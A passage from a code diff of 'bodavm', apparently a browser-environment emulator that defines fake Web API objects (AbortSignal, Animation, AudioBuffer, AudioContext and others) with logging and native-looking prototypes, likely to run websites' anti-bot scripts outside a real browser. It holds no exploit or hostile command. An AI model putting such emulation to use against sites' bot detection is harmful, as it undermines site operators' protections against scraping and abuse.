'prototype'); +bodavm.toolsFunc.defineProperty('AbortSignal', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortSignal', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbortSignal', "throwIfAborted", { + configurable: true, + enumerable: true, + writable: true, + value: function throwIfAborted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "throwIfAborted", arguments); + } +}, 'prototype'); +// AbsoluteOrientationSensor对象 + +bodavm.memory.globalobj['AbsoluteOrientationSensor'] = function AbsoluteOrientationSensor() { + console.log_copy('AbsoluteOrientationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.AbsoluteOrientationSensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbsoluteOrientationSensor'], "AbsoluteOrientationSensor"); +bodavm.memory.globalobj['AbsoluteOrientationSensor'].prototype.__proto__ = bodavm.memory.globalobj['OrientationSensor'].prototype; +bodavm.memory.globalobj['AbsoluteOrientationSensor'].__proto__ = bodavm.memory.globalobj['OrientationSensor']; +// AbstractRange对象 + +bodavm.memory.globalobj['AbstractRange'] = function AbstractRange() { + console.log_copy('AbstractRange 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AbstractRange)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbstractRange'], "AbstractRange"); +bodavm.toolsFunc.defineProperty('AbstractRange', "startContainer", { + configurable: true, + enumerable: true, + get: function startContainer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startContainer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "startOffset", { + configurable: true, + enumerable: true, + get: function startOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "startOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "endContainer", { + configurable: true, + enumerable: true, + get: function endContainer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endContainer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "endOffset", { + configurable: true, + enumerable: true, + get: function endOffset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "endOffset_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AbstractRange', "collapsed", { + configurable: true, + enumerable: true, + get: function collapsed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbstractRange'].prototype, "AbstractRange", "collapsed_get", arguments); + }, + set: undefined +}, 'prototype'); +// Accelerometer对象 + +bodavm.memory.globalobj['Accelerometer'] = function Accelerometer() { + console.log_copy('Accelerometer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Accelerometer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Accelerometer'], "Accelerometer"); +bodavm.memory.globalobj['Accelerometer'].prototype.__proto__ = bodavm.memory.globalobj['Sensor'].prototype; +bodavm.memory.globalobj['Accelerometer'].__proto__ = bodavm.memory.globalobj['Sensor']; +bodavm.toolsFunc.defineProperty('Accelerometer', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Accelerometer', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Accelerometer', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Accelerometer'].prototype, "Accelerometer", "z_get", arguments); + }, + set: undefined +}, 'prototype'); +// alert对象 + +bodavm.memory.globalobj['alert'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('alert', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('alert', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "alert" +}); +// AnalyserNode对象 + +bodavm.memory.globalobj['AnalyserNode'] = function AnalyserNode() { + console.log_copy('AnalyserNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnalyserNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnalyserNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnalyserNode'], "AnalyserNode"); +bodavm.memory.globalobj['AnalyserNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AnalyserNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AnalyserNode', "fftSize", { + configurable: true, + enumerable: true, + get: function fftSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_get", arguments); + }, + set: function fftSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "fftSize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "frequencyBinCount", { + configurable: true, + enumerable: true, + get: function frequencyBinCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "frequencyBinCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "minDecibels", { + configurable: true, + enumerable: true, + get: function minDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_get", arguments); + }, + set: function minDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "minDecibels_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "maxDecibels", { + configurable: true, + enumerable: true, + get: function maxDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_get", arguments); + }, + set: function maxDecibels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "maxDecibels_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "smoothingTimeConstant", { + configurable: true, + enumerable: true, + get: function smoothingTimeConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_get", arguments); + }, + set: function smoothingTimeConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "smoothingTimeConstant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteFrequencyData", { + configurable: true, + enumerable: true, + writable: true, + value: function getByteFrequencyData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteFrequencyData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getByteTimeDomainData", { + configurable: true, + enumerable: true, + writable: true, + value: function getByteTimeDomainData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getByteTimeDomainData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatFrequencyData", { + configurable: true, + enumerable: true, + writable: true, + value: function getFloatFrequencyData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatFrequencyData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnalyserNode', "getFloatTimeDomainData", { + configurable: true, + enumerable: true, + writable: true, + value: function getFloatTimeDomainData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnalyserNode'].prototype, "AnalyserNode", "getFloatTimeDomainData", arguments); + } +}, 'prototype'); +// Animation对象 + +bodavm.memory.globalobj['Animation'] = function Animation() { + console.log_copy('Animation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Animation(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Animation'], "Animation"); +bodavm.memory.globalobj['Animation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Animation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Animation', "effect", { + configurable: true, + enumerable: true, + get: function effect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_get", arguments); + }, + set: function effect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "effect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "startTime", { + configurable: true, + enumerable: true, + get: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_get", arguments); + }, + set: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "startTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_get", arguments); + }, + set: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "currentTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "playbackRate", { + configurable: true, + enumerable: true, + get: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_get", arguments); + }, + set: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playbackRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "playState", { + configurable: true, + enumerable: true, + get: function playState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "playState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "pending", { + configurable: true, + enumerable: true, + get: function pending() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pending_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_get", arguments); + }, + set: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "id_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "onfinish", { + configurable: true, + enumerable: true, + get: function onfinish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_get", arguments); + }, + set: function onfinish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onfinish_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "finish", { + configurable: true, + enumerable: true, + writable: true, + value: function finish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finish", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "pause", { + configurable: true, + enumerable: true, + writable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "play", { + configurable: true, + enumerable: true, + writable: true, + value: function play() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "play", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "reverse", { + configurable: true, + enumerable: true, + writable: true, + value: function reverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "reverse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "updatePlaybackRate", { + configurable: true, + enumerable: true, + writable: true, + value: function updatePlaybackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "updatePlaybackRate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "timeline", { + configurable: true, + enumerable: true, + get: function timeline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_get", arguments); + }, + set: function timeline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "timeline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "replaceState", { + configurable: true, + enumerable: true, + get: function replaceState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "replaceState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "onremove", { + configurable: true, + enumerable: true, + get: function onremove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_get", arguments); + }, + set: function onremove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "onremove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "finished", { + configurable: true, + enumerable: true, + get: function finished() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "finished_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "commitStyles", { + configurable: true, + enumerable: true, + writable: true, + value: function commitStyles() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "commitStyles", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Animation', "persist", { + configurable: true, + enumerable: true, + writable: true, + value: function persist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Animation'].prototype, "Animation", "persist", arguments); + } +}, 'prototype'); +// AnimationEffect对象 + +bodavm.memory.globalobj['AnimationEffect'] = function AnimationEffect() { + console.log_copy('AnimationEffect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationEffect)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEffect'], "AnimationEffect"); +bodavm.toolsFunc.defineProperty('AnimationEffect', "getComputedTiming", { + configurable: true, + enumerable: true, + writable: true, + value: function getComputedTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getComputedTiming", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEffect', "getTiming", { + configurable: true, + enumerable: true, + writable: true, + value: function getTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "getTiming", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEffect', "updateTiming", { + configurable: true, + enumerable: true, + writable: true, + value: function updateTiming() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEffect'].prototype, "AnimationEffect", "updateTiming", arguments); + } +}, 'prototype'); +// AnimationEvent对象 + +bodavm.memory.globalobj['AnimationEvent'] = function AnimationEvent() { + console.log_copy('AnimationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationEvent'], "AnimationEvent"); +bodavm.memory.globalobj['AnimationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['AnimationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('AnimationEvent', "animationName", { + configurable: true, + enumerable: true, + get: function animationName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "animationName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEvent', "elapsedTime", { + configurable: true, + enumerable: true, + get: function elapsedTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "elapsedTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationEvent', "pseudoElement", { + configurable: true, + enumerable: true, + get: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationEvent'].prototype, "AnimationEvent", "pseudoElement_get", arguments); + }, + set: undefined +}, 'prototype'); +// AnimationPlaybackEvent对象 + +bodavm.memory.globalobj['AnimationPlaybackEvent'] = function AnimationPlaybackEvent() { + console.log_copy('AnimationPlaybackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationPlaybackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AnimationPlaybackEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationPlaybackEvent'], "AnimationPlaybackEvent"); +bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['AnimationPlaybackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "currentTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AnimationPlaybackEvent', "timelineTime", { + configurable: true, + enumerable: true, + get: function timelineTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationPlaybackEvent'].prototype, "AnimationPlaybackEvent", "timelineTime_get", arguments); + }, + set: undefined +}, 'prototype'); +// AnimationTimeline对象 + +bodavm.memory.globalobj['AnimationTimeline'] = function AnimationTimeline() { + console.log_copy('AnimationTimeline 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AnimationTimeline)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AnimationTimeline'], "AnimationTimeline"); +bodavm.toolsFunc.defineProperty('AnimationTimeline', "currentTime", { + configurable: true, + enumerable: true, + get: function currentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AnimationTimeline'].prototype, "AnimationTimeline", "currentTime_get", arguments); + }, + set: undefined +}, 'prototype'); +// AudioBuffer对象 + +bodavm.memory.globalobj['AudioBuffer'] = function AudioBuffer() { + console.log_copy('AudioBuffer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioBuffer)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBuffer': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBuffer'], "AudioBuffer"); +bodavm.toolsFunc.defineProperty('AudioBuffer', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "sampleRate", { + configurable: true, + enumerable: true, + get: function sampleRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "sampleRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "numberOfChannels", { + configurable: true, + enumerable: true, + get: function numberOfChannels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "numberOfChannels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "copyFromChannel", { + configurable: true, + enumerable: true, + writable: true, + value: function copyFromChannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyFromChannel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "copyToChannel", { + configurable: true, + enumerable: true, + writable: true, + value: function copyToChannel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "copyToChannel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBuffer', "getChannelData", { + configurable: true, + enumerable: true, + writable: true, + value: function getChannelData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBuffer'].prototype, "AudioBuffer", "getChannelData", arguments); + } +}, 'prototype'); +// AudioBufferSourceNode对象 + +bodavm.memory.globalobj['AudioBufferSourceNode'] = function AudioBufferSourceNode() { + console.log_copy('AudioBufferSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioBufferSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioBufferSourceNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioBufferSourceNode'], "AudioBufferSourceNode"); +bodavm.memory.globalobj['AudioBufferSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; +bodavm.memory.globalobj['AudioBufferSourceNode'].__proto__ = bodavm.memory.globalobj['AudioScheduledSourceNode']; +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "buffer", { + configurable: true, + enumerable: true, + get: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_get", arguments); + }, + set: function buffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "buffer_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "playbackRate", { + configurable: true, + enumerable: true, + get: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "playbackRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "detune", { + configurable: true, + enumerable: true, + get: function detune() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "detune_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loop", { + configurable: true, + enumerable: true, + get: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_get", arguments); + }, + set: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopStart", { + configurable: true, + enumerable: true, + get: function loopStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_get", arguments); + }, + set: function loopStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopStart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "loopEnd", { + configurable: true, + enumerable: true, + get: function loopEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_get", arguments); + }, + set: function loopEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "loopEnd_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioBufferSourceNode', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioBufferSourceNode'].prototype, "AudioBufferSourceNode", "start", arguments); + } +}, 'prototype'); +// AudioContext对象 + +bodavm.memory.globalobj['AudioContext'] = function AudioContext() { + console.log_copy('AudioContext 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.AudioContext(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioContext'], "AudioContext"); +bodavm.memory.globalobj['AudioContext'].prototype.__proto__ = bodavm.memory.globalobj['BaseAudioContext'].prototype; +bodavm.memory.globalobj['AudioContext'].__proto__ = bodavm.memory.globalobj['BaseAudioContext']; +bodavm.toolsFunc.defineProperty('AudioContext', "baseLatency", { + configurable: true, + enumerable: true, + get: function baseLatency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "baseLatency_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "outputLatency", { + configurable: true, + enumerable: true, + get: function outputLatency() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "outputLatency_get", arguments); + }, + 